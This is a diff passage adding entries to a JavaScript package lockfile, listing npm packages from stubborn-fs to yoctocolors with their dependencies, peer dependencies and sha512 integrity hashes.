+ "stubborn-fs": ["[email protected]", "", { "dependencies": { "stubborn-utils": "^1.0.1" } }, "sha512-Y0AvSwDw8y+nlSNFXMm2g6L51rBGdAQT20J3YSOqxC53Lo3bjWRtr2BKcfYoAf352WYpsZSTURrA0tqhfgudPA=="],
+
+ "stubborn-utils": ["[email protected]", "", {}, "sha512-zOh9jPYI+xrNOyisSelgym4tolKTJCQd5GBhK0+0xJvcYDcwlOoxF/rnFKQ2KRZknXSG9jWAp66fwP6AxN9STg=="],
+
+ "subsume": ["[email protected]", "", { "dependencies": { "escape-string-regexp": "^5.0.0", "unique-string": "^3.0.0" } }, "sha512-BWnYJElmHbYZ/zKevy+TG+SsyoFCmRPDHJbR1MzLxkPOv1Jp/4hGhVUtP98s+wZBsBsHwCXvPTP0x287/WMjGg=="],
+
+ "supports-color": ["[email protected]", "", {}, "sha512-SS+jx45GF1QjgEXQx4NJZV9ImqmO2NPz5FNsIHrsDjh2YsHnawpan7SNQ1o8NuhrbHZy9AZhIoCUiCeaW/C80g=="],
+
+ "supports-hyperlinks": ["[email protected]", "", { "dependencies": { "has-flag": "^5.0.1", "supports-color": "^10.2.2" } }, "sha512-UKbpT93hN5Nr9go5UY7bopIB9YQlMz9nm/ct4IXt/irb5YRkn9WaqrOBJGZ5Pwvsd5FQzSVeYlGdXoCAPQZrPg=="],
+
+ "supports-preserve-symlinks-flag": ["[email protected]", "", {}, "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="],
+
+ "symbol-observable": ["[email protected]", "", {}, "sha512-b19dMThMV4HVFynSAM1++gBHAbk2Tc/osgLIBZMKsyqh34jb2e8Os7T6ZW/Bt3pJFdBTd2JwAnAAEQV7rSNvcQ=="],
+
+ "system-architecture": ["[email protected]", "", {}, "sha512-ulAk51I9UVUyJgxlv9M6lFot2WP3e7t8Kz9+IS6D4rVba1tR9kON+Ey69f+1R4Q8cd45Lod6a4IcJIxnzGc/zA=="],
+
+ "tagged-tag": ["[email protected]", "", {}, "sha512-yEFYrVhod+hdNyx7g5Bnkkb0G6si8HJurOoOEgC8B/O0uXLHlaey/65KRv6cuWBNhBgHKAROVpc7QyYqE5gFng=="],
+
+ "terminal-link": ["[email protected]", "", { "dependencies": { "ansi-escapes": "^7.0.0", "supports-hyperlinks": "^4.1.0" } }, "sha512-qFAy10MTMwjzjU8U16YS4YoZD+NQLHzLssFMNqgravjbvIPNiqkGFR4yjhJfmY9R5OFU7+yHxc6y+uGHkKwLRA=="],
+
+ "through": ["[email protected]", "", {}, "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg=="],
+
+ "tinybench": ["[email protected]", "", {}, "sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg=="],
+
+ "tinyexec": ["[email protected]", "", {}, "sha512-VKS/ZaQhhkKFMANmAOhhXVoIfBXblQxGX1myCQ2faQrfmobMftXeJPcZGp0gS07ocvGJWDLZGyOZDadDBqYIJg=="],
+
+ "tinyglobby": ["[email protected]", "", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.3" } }, "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ=="],
+
+ "tinyrainbow": ["[email protected]", "", {}, "sha512-Bf+ILmBgretUrdJxzXM0SgXLZ3XfiaUuOj/IKQHuTXip+05Xn+uyEYdVg0kYDipTBcLrCVyUzAPz7QmArb0mmw=="],
+
+ "tmp": ["[email protected]", "", { "dependencies": { "os-tmpdir": "~1.0.2" } }, "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw=="],
+
+ "to-regex-range": ["[email protected]", "", { "dependencies": { "is-number": "^7.0.0" } }, "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ=="],
+
+ "tslib": ["[email protected]", "", {}, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="],
+
+ "type-fest": ["[email protected]", "", {}, "sha512-RAH822pAdBgcNMAfWnCBU3CFZcfZ/i1eZjwFU/dsLKumyuuP3niueg2UAukXYF0E2AAoc82ZSSf9J0WQBinzHA=="],
+
+ "typescript": ["[email protected]", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw=="],
+
+ "ufo": ["[email protected]", "", {}, "sha512-yDJTmhydvl5lJzBmy/hyOAA0d+aqCBuwl818haVdYCRrWV84o7YyeVm4QlVHStqNrrJSTb6jKuFAVqAFsr+K3Q=="],
+
+ "undici-types": ["[email protected]", "", {}, "sha512-AsuCzffGHJybSaRrmr5eHr81mwJU3kjw6M+uprWvCXiNeN9SOGwQ3Jn8jb8m3Z6izVgknn1R0FTCEAP2QrLY/w=="],
+
+ "unicorn-magic": ["[email protected]", "", {}, "sha512-wH590V9VNgYH9g3lH9wWjTrUoKsjLF6sGLjhR4sH1LWpLmCOH0Zf7PukhDA8BiS7KHe4oPNkcTHqYkj7SOGUOw=="],
+
+ "unique-string": ["[email protected]", "", { "dependencies": { "crypto-random-string": "^4.0.0" } }, "sha512-VGXBUVwxKMBUznyffQweQABPRRW1vHZAbadFZud4pLFAqRGvv/96vafgjWFqzourzr8YonlQiPgH0YCJfawoGQ=="],
+
+ "universalify": ["[email protected]", "", {}, "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw=="],
+
+ "update-notifier": ["[email protected]", "", { "dependencies": { "boxen": "^8.0.1", "chalk": "^5.3.0", "configstore": "^7.0.0", "is-in-ci": "^1.0.0", "is-installed-globally": "^1.0.0", "is-npm": "^6.0.0", "latest-version": "^9.0.0", "pupa": "^3.1.0", "semver": "^7.6.3", "xdg-basedir": "^5.1.0" } }, "sha512-+dwUY4L35XFYEzE+OAL3sarJdUioVovq+8f7lcIJ7wnmnYQV5UD1Y/lcwaMSyaQ6Bj3JMj1XSTjZbNLHn/19yA=="],
+
+ "validate-npm-package-license": ["[email protected]", "", { "dependencies": { "spdx-correct": "^3.0.0", "spdx-expression-parse": "^3.0.0" } }, "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew=="],
+
+ "validate-npm-package-name": ["[email protected]", "", {}, "sha512-OljLrQ9SQdOUqTaQxqL5dEfZWrXExyyWsozYlAWFawPVNuD83igl7uJD2RTkNMbniIYgt8l81eCJGIdQF7avLQ=="],
+
+ "vite": ["[email protected]", "", { "dependencies": { "lightningcss": "^1.32.0", "picomatch": "^4.0.4", "postcss": "^8.5.8", "rolldown": "1.0.0-rc.12", "tinyglobby": "^0.2.15" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "@vitejs/devtools": "^0.1.0", "esbuild": "^0.27.0", "jiti": ">=1.21.0", "less": "^4.0.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "@vitejs/devtools", "esbuild", "jiti", "less", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-B9ifbFudT1TFhfltfaIPgjo9Z3mDynBTJSUYxTjOQruf/zHH+ezCQKcoqO+h7a9Pw9Nm/OtlXAiGT1axBgwqrQ=="],
+
+ "vite-plugin-dts": ["[email protected]", "", { "dependencies": { "@microsoft/api-extractor": "^7.50.1", "@rollup/pluginutils": "^5.1.4", "@volar/typescript": "^2.4.11", "@vue/language-core": "2.2.0", "compare-versions": "^6.1.1", "debug": "^4.4.0", "kolorist": "^1.8.0", "local-pkg": "^1.0.0", "magic-string": "^0.30.17" }, "peerDependencies": { "typescript": "*", "vite": "*" }, "optionalPeers": ["vite"] }, "sha512-d4sOM8M/8z7vRXHHq/ebbblfaxENjogAAekcfcDCCwAyvGqnPrc7f4NZbvItS+g4WTgerW0xDwSz5qz11JT3vg=="],
+
+ "vitest": ["[email protected]", "", { "dependencies": { "@vitest/expect": "4.1.3", "@vitest/mocker": "4.1.3", "@vitest/pretty-format": "4.1.3", "@vitest/runner": "4.1.3", "@vitest/snapshot": "4.1.3", "@vitest/spy": "4.1.3", "@vitest/utils": "4.1.3", "es-module-lexer": "^2.0.0", "expect-type": "^1.3.0", "magic-string": "^0.30.21", "obug": "^2.1.1", "pathe": "^2.0.3", "picomatch": "^4.0.3", "std-env": "^4.0.0-rc.1", "tinybench": "^2.9.0", "tinyexec": "^1.0.2", "tinyglobby": "^0.2.15", "tinyrainbow": "^3.1.0", "vite": "^6.0.0 || ^7.0.0 || ^8.0.0", "why-is-node-running": "^2.3.0" }, "peerDependencies": { "@edge-runtime/vm": "*", "@opentelemetry/api": "^1.9.0", "@types/node": "^20.0.0 || ^22.0.0 || >=24.0.0", "@vitest/browser-playwright": "4.1.3", "@vitest/browser-preview": "4.1.3", "@vitest/browser-webdriverio": "4.1.3", "@vitest/coverage-istanbul": "4.1.3", "@vitest/coverage-v8": "4.1.3", "@vitest/ui": "4.1.3", "happy-dom": "*", "jsdom": "*" }, "optionalPeers": ["@edge-runtime/vm", "@opentelemetry/api", "@types/node", "@vitest/browser-playwright", "@vitest/browser-preview", "@vitest/browser-webdriverio", "@vitest/coverage-istanbul", "@vitest/coverage-v8", "@vitest/ui", "happy-dom", "jsdom"], "bin": { "vitest": "vitest.mjs" } }, "sha512-DBc4Tx0MPNsqb9isoyOq00lHftVx/KIU44QOm2q59npZyLUkENn8TMFsuzuO+4U2FUa9rgbbPt3udrP25GcjXw=="],
+
+ "vscode-uri": ["[email protected]", "", {}, "sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ=="],
+
+ "when-exit": ["[email protected]", "", {}, "sha512-VGkKJ564kzt6Ms1dbgPP/yuIoQCrsFAnRbptpC5wOEsDaNsbCB2bnfnaA8i/vRs5tjUSEOtIuvl9/MyVsvQZCg=="],
+
+ "which": ["[email protected]", "", { "dependencies": { "isexe": "^2.0.0" }, "bin": { "node-which": "./bin/node-which" } }, "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA=="],
+
+ "why-is-node-running": ["[email protected]", "", { "dependencies": { "siginfo": "^2.0.0", "stackback": "0.0.2" }, "bin": { "why-is-node-running": "cli.js" } }, "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w=="],
+
+ "widest-line": ["[email protected]", "", { "dependencies": { "string-width": "^7.0.0" } }, "sha512-c9bZp7b5YtRj2wOe6dlj32MK+Bx/M/d+9VB2SHM1OtsUHR0aV0tdP6DWh/iMt0kWi1t5g1Iudu6hQRNd1A4PVA=="],
+
+ "wrap-ansi": ["[email protected]", "", { "dependencies": { "ansi-styles": "^6.2.1", "string-width": "^7.0.0", "strip-ansi": "^7.1.0" } }, "sha512-42AtmgqjV+X1VpdOfyTGOYRi0/zsoLqtXQckTmqTeybT+BDIbM/Guxo7x3pE2vtpr1ok6xRqM9OpBe+Jyoqyww=="],
+
+ "wsl-utils": ["[email protected]", "", { "dependencies": { "is-wsl": "^3.1.0", "powershell-utils": "^0.1.0" } }, "sha512-g/eziiSUNBSsdDJtCLB8bdYEUMj4jR7AGeUo96p/3dTafgjHhpF4RiCFPiRILwjQoDXx5MqkBr4fwWtR3Ky4Wg=="],
+
+ "xdg-basedir": ["[email protected]", "", {}, "sha512-GCPAHLvrIH13+c0SuacwvRYj2SxJXQ4kaVTT5xgL3kPrz56XxkF21IGhjSE1+W0aw7gpBWRGXLCPnPby6lSpmQ=="],
+
+ "yallist": ["[email protected]", "", {}, "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="],
+
+ "yoctocolors": ["[email protected]", "", {}, "sha512-CzhO+pFNo8ajLM2d2IW/R93ipy99LWjtwblvC1RsoSUMZgyLbYFr221TnSNT7GjGdYui6P459mw9JH/g/zW2ug=="],
+
+ "@inquirer/external-editor/chardet": ["[email protected]", "", {}, "sha512-PsezH1rqdV9VvyNhxxOW32/d75r01NY7TQCmOqomRo15ZSOKbpTFVsfjghxo6JloQUCGnH4k1LGu0R4yCLlWQQ=="],
+
+ "@inquirer/external-editor/iconv-lite": ["[email protected]", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-im9DjEDQ55s9fL4EYzOAv0yMqmMBSZp6G0VvFyTMPKWxiSBHUj9NW/qqLmXUwXrrM7AvqSlTCfvqRb0cM8yYqw=="],
+
+ "@microsoft/api-extractor/semver": ["[email protected]", "", { "dependencies": { "lru-cache": "^6.0.0" }, "bin": { "semver": "bin/semver.js" } }, "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA=="],
+
+ "@pnpm/network.ca-file/graceful-fs": ["[email protected]", "", {}, "sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA=="],
+
+ "@rushstack/node-core-library/semver": ["[email protected]", "", { "dependencies": { "lru-cache": "^6.0.0" }, "bin": { "semver": "bin/semver.js" } }, "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA=="],
+
+ "@rushstack/terminal/supports-color": ["[email protected]", "", { "dependencies": { "has-flag": "^4.0.0" } }, "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q=="],
+
+ "@rushstack/ts-command-line/argparse": ["[email protected]", "", { "dependencies": { "sprintf-js": "~1.0.2" } }, "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg=="],
+
+ "@vitest/mocker/estree-walker": ["[email protected]", "", { "dependencies": { "@types/estree": "^1.0.0" } }, "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g=="],
+
+ "@vue/language-core/minimatch": ["[email protected]", "", { "dependencies": { "brace-expansion": "^2.0.2" } }, "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg=="],
+
+ "boxen/string-width": ["[email protected]", "", { "dependencies": { "emoji-regex": "^10.3.0", "get-east-asian-width": "^1.0.0", "strip-ansi": "^7.1.0" } }, "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ=="],
+
+ "boxen/type-fest": ["[email protected]", "", {}, "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA=="],
+
+ "cli-truncate/string-width": ["[email protected]", "", { "dependencies": { "code-point-at": "^1.0.0", "is-fullwidth-code-point": "^1.0.0", "strip-ansi": "^3.0.0" } }, "sha512-0XsVpQLnVCXHJfyEs8tC0zpTVIr5PKKsQtkT29IwupnPTjtPmQ3xT/4yCREF9hYkV/3M3kzcUTSAZT6a6h81tw=="],
+
+ "config-chain/ini": ["[email protected]", "", {}, "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew=="],
+
+ "crypto-random-string/type-fest": ["[email protected]", "", {}, "sha512-yGSza74xk0UG8k+pLh5oeoYirvIiWo5t0/o3zHHAO2tRDiZcxWP7fywNlXhqb6/r6sWvwi+RsyQMWhVLe4BVuA=="],
+
+ "dot-prop/type-fest": ["[email protected]", "", {}, "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA=="],
+
+ "find-up/path-exists": ["[email protected]", "", {}, "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w=="],
+
+ "globby/@sindresorhus/merge-streams": ["@sindresorhus/[email protected]", "", {}, "sha512-LtoMMhxAlorcGhmFYI+LhPgbPZCkgP6ra1YL604EeF6U98pLlQ3iWIGMdWSC+vWmPBWBNgmDBAhnAobLROJmwg=="],
+
+ "globby/unicorn-magic": ["[email protected]", "", {}, "sha512-+QBBXBCvifc56fsbuxZQ6Sic3wqqc3WWaqxs58gvJrcOuN83HGTCwz3oS5phzU9LthRNE9VrJCFCLUgHeeFnfA=="],
+
+ "inquirer-autosubmit-prompt/chalk": ["[email protected]", "", { "dependencies": { "ansi-styles": "^3.2.1", "escape-string-regexp": "^1.0.5", "supports-color": "^5.3.0" } }, "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ=="],
+
+ "inquirer-autosubmit-prompt/inquirer": ["[email protected]", "", { "dependencies": { "ansi-escapes": "^3.2.0", "chalk": "^2.4.2", "cli-cursor": "^2.1.0", "cli-width": "^2.0.0", "external-editor": "^3.0.3", "figures": "^2.0.0", "lodash": "^4.17.12", "mute-stream": "0.0.7", "run-async": "^2.2.0", "rxjs": "^6.4.0", "string-width": "^2.1.0", "strip-ansi": "^5.1.0", "through": "^2.3.6" } }, "sha512-cntlB5ghuB0iuO65Ovoi8ogLHiWGs/5yNrtUcKjFhSSiVeAIVpD7koaSU9RM8mpXw5YDi9RdYXGQMaOURB7ycQ=="],
+
+ "inquirer-autosubmit-prompt/rxjs": ["[email protected]", "", { "dependencies": { "tslib": "^1.9.0" } }, "sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ=="],
+
+ "is-observable/symbol-observable": ["[email protected]", "", {}, "sha512-e900nM8RRtGhlV36KGEU9k65K3mPb1WV70OdjfxlG2EAuM1noi/E/BaW/uMhL7bPEssK8QV57vN3esixjUvcXQ=="],
+
+ "listr/is-stream": ["[email protected]", "", {}, "sha512-uQPm8kcs47jx38atAcWTVxyltQYoPT68y9aWYdV6yWXSyW8mzSat0TL6CiWdZeCdF3KrAvpVtnHbTv4RN+rqdQ=="],
+
+ "listr/p-map": ["[email protected]", "", {}, "sha512-y3b8Kpd8OAN444hxfBbFfj1FY/RjtTd8tzYwhUqNYXx0fXx2iX4maP4Qr6qhIKbQXI02wTLAda4fYUbDagTUFw=="],
+
+ "listr/rxjs": ["[email protected]", "", { "dependencies": { "tslib": "^1.9.0" } }, "sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ=="],
+
+ "listr-input/inquirer": ["[email protected]", "", { "dependencies": { "ansi-escapes": "^4.2.1", "chalk": "^4.1.0", "cli-cursor": "^3.1.0", "cli-width": "^3.0.0", "external-editor": "^3.0.3", "figures": "^3.0.0", "lodash": "^4.17.19", "mute-stream": "0.0.8", "run-async": "^2.4.0", "rxjs": "^6.6.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0", "through": "^2.3.6" } }, "sha512-JG3eIAj5V9CwcGvuOmoo6LB9kbAYT8HXffUl6memuszlwDC/qvFAJw49XJ5NROSFNPxp3iQg1GqkFhaY/CR0IA=="],
+
+ "listr-input/rxjs": ["[email protected]", "", { "dependencies": { "tslib": "^1.9.0" } }, "sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ=="],
+
+ "listr-update-renderer/chalk": ["[email protected]", "", { "dependencies": { "ansi-styles": "^2.2.1", "escape-string-regexp": "^1.0.2", "has-ansi": "^2.0.0", "strip-ansi": "^3.0.0", "supports-color": "^2.0.0" } }, "sha512-U3lRVLMSlsCfjqYPbLyVv11M9CPW4I728d6TCKMAOJueEeB9/8o+eSsMnxPJD+Q+K909sdESg7C+tIkoH6on1A=="],
+
+ "listr-update-renderer/figures": ["[email protected]", "", { "dependencies": { "escape-string-regexp": "^1.0.5", "object-assign": "^4.1.0" } }, "sha512-UxKlfCRuCBxSXU4C6t9scbDyWZ4VlaFFdojKtzJuSkuOBQ5CNFum+zZXFwHjo+CxBC1t6zlYPgHIgFjL8ggoEQ=="],
+
+ "listr-update-renderer/log-symbols": ["[email protected]", "", { "dependencies": { "chalk": "^1.0.0" } }, "sha512-mmPrW0Fh2fxOzdBbFv4g1m6pR72haFLPJ2G5SJEELf1y+iaQrDG6cWCPjy54RHYbZAt7X+ls690Kw62AdWXBzQ=="],
+
+ "listr-verbose-renderer/chalk": ["[email protected]", "", { "dependencies": { "ansi-styles": "^3.2.1", "escape-string-regexp": "^1.0.5", "supports-color": "^5.3.0" } }, "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ=="],
+
+ "listr-verbose-renderer/figures": ["[email protected]", "", { "dependencies": { "escape-string-regexp": "^1.0.5" } }, "sha512-Oa2M9atig69ZkfwiApY8F2Yy+tzMbazyvqv21R0NsSC8floSOC09BbT1ITWAdoMGQvJ/aZnR1KMwdx9tvHnTNA=="],
+
+ "log-update/ansi-escapes": ["[email protected]", "", {}, "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ=="],
+
+ "log-update/wrap-ansi": ["[email protected]", "", { "dependencies": { "string-width": "^2.1.1", "strip-ansi": "^4.0.0" } }, "sha512-iXR3tDXpbnTpzjKSylUJRkLuOrEC7hwEB221cgn6wtF8wpmz28puFXAEfPT5zrjM3wahygB//VuWEr1vTkDcNQ=="],
+
+ "micromatch/picomatch": ["[email protected]", "", {}, "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA=="],
+
+ "mlly/pkg-types": ["[email protected]", "", { "dependencies": { "confbox": "^0.1.8", "mlly": "^1.7.4", "pathe": "^2.0.1" } }, "sha512-/Jm5M4RvtBFVkKWRu2BLUTNP8/M2a+UwuAX+ae4770q1qVGtfjG+WTCupoZixokjmHiry8uI+dlY8KXYV5HVVQ=="],
+
+ "npm-run-path/path-key": ["[email protected]", "", {}, "sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ=="],
+
+ "npm-run-path/unicorn-magic": ["[email protected]", "", {}, "sha512-+QBBXBCvifc56fsbuxZQ6Sic3wqqc3WWaqxs58gvJrcOuN83HGTCwz3oS5phzU9LthRNE9VrJCFCLUgHeeFnfA=="],
+
+ "open/powershell-utils": ["[email protected]", "", {}, "sha512-dM0jVuXJPsDN6DvRpea484tCUaMiXWjuCn++HGTqUWzGDjv5tZkEZldAJ/UMlqRYGFrD/etByo4/xOuC/snX2A=="],
+
+ "p-memoize/type-fest": ["[email protected]", "", {}, "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA=="],
+
+ "rc/ini": ["[email protected]", "", {}, "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew=="],
+
+ "rc/strip-json-comments": ["[email protected]", "", {}, "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ=="],
+
+ "read-package-up/type-fest": ["[email protected]", "", { "dependencies": { "tagged-tag": "^1.0.0" } }, "sha512-PlBfpQwiUvGViBNX84Yxwjsdhd1TUlXr6zjX7eoirtCPIr08NAmxwa+fcYBTeRQxHo9YC9wwF3m9i700sHma8g=="],
+
+ "read-pkg/parse-json": ["[email protected]", "", { "dependencies": { "@babel/code-frame": "^7.26.2", "index-to-position": "^1.1.0", "type-fest": "^4.39.1" } }, "sha512-ybiGyvspI+fAoRQbIPRddCcSTV9/LsJbf0e/S85VLowVGzRmokfneg2kwVW/KU5rOXrPSbF1qAKPMgNTqqROQQ=="],
+
+ "read-pkg/type-fest": ["[email protected]", "", { "dependencies": { "tagged-tag": "^1.0.0" } }, "sha512-PlBfpQwiUvGViBNX84Yxwjsdhd1TUlXr6zjX7eoirtCPIr08NAmxwa+fcYBTeRQxHo9YC9wwF3m9i700sHma8g=="],
+
+ "resolve-cwd/resolve-from": ["[email protected]", "", {}, "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="],
+
+ "restore-cursor/onetime": ["[email protected]", "", { "dependencies": { "mimic-fn": "^1.0.0" } }, "sha512-oyyPpiMaKARvvcgip+JV+7zci5L8D1W9RZIz2l1o08AM3pfspitVWnPt3mzHcBPp12oYMTy0pqrFs/C+m3EwsQ=="],
+
+ "restore-cursor/signal-exit": ["[email protected]", "", {}, "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ=="],
+
+ "run-jxa/execa": ["[email protected]", "", { "dependencies": { "cross-spawn": "^7.0.3", "get-stream": "^6.0.0", "human-signals": "^2.1.0", "is-stream": "^2.0.0", "merge-stream": "^2.0.0", "npm-run-path": "^4.0.1", "onetime": "^5.1.2", "signal-exit": "^3.0.3", "strip-final-newline": "^2.0.0" } }, "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg=="],
+
+ "string-width/strip-ansi": ["[email protected]", "", { "dependencies": { "ansi-regex": "^5.0.1" } }, "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A=="],
+
+ "widest-line/string-width": ["[email protected]", "", { "dependencies": { "emoji-regex": "^10.3.0", "get-east-asian-width": "^1.0.0", "strip-ansi": "^7.1.0" } }, "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ=="],
+
+ "wrap-ansi/ansi-styles": ["[email protected]", "", {}, "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg=="],
+
+ "wrap-ansi/string-width": ["[email protected]", "", { "dependencies": { "emoji-regex": "^10.3.0", "get-east-asian-width": "^1.0.0", "strip-ansi": "^7.1.0" } }, "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ=="],
+
+ "wrap-ansi/strip-ansi": ["[email protected]", "", { "dependencies": { "ansi-regex": "^6.2.2" } }, "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w=="],
+
+ "wsl-utils/powershell-utils": ["[email protected]", "", {}, "sha512-dM0jVuXJPsDN6DvRpea484tCUaMiXWjuCn++HGTqUWzGDjv5tZkEZldAJ/UMlqRYGFrD/etByo4/xOuC/snX2A=="],
+
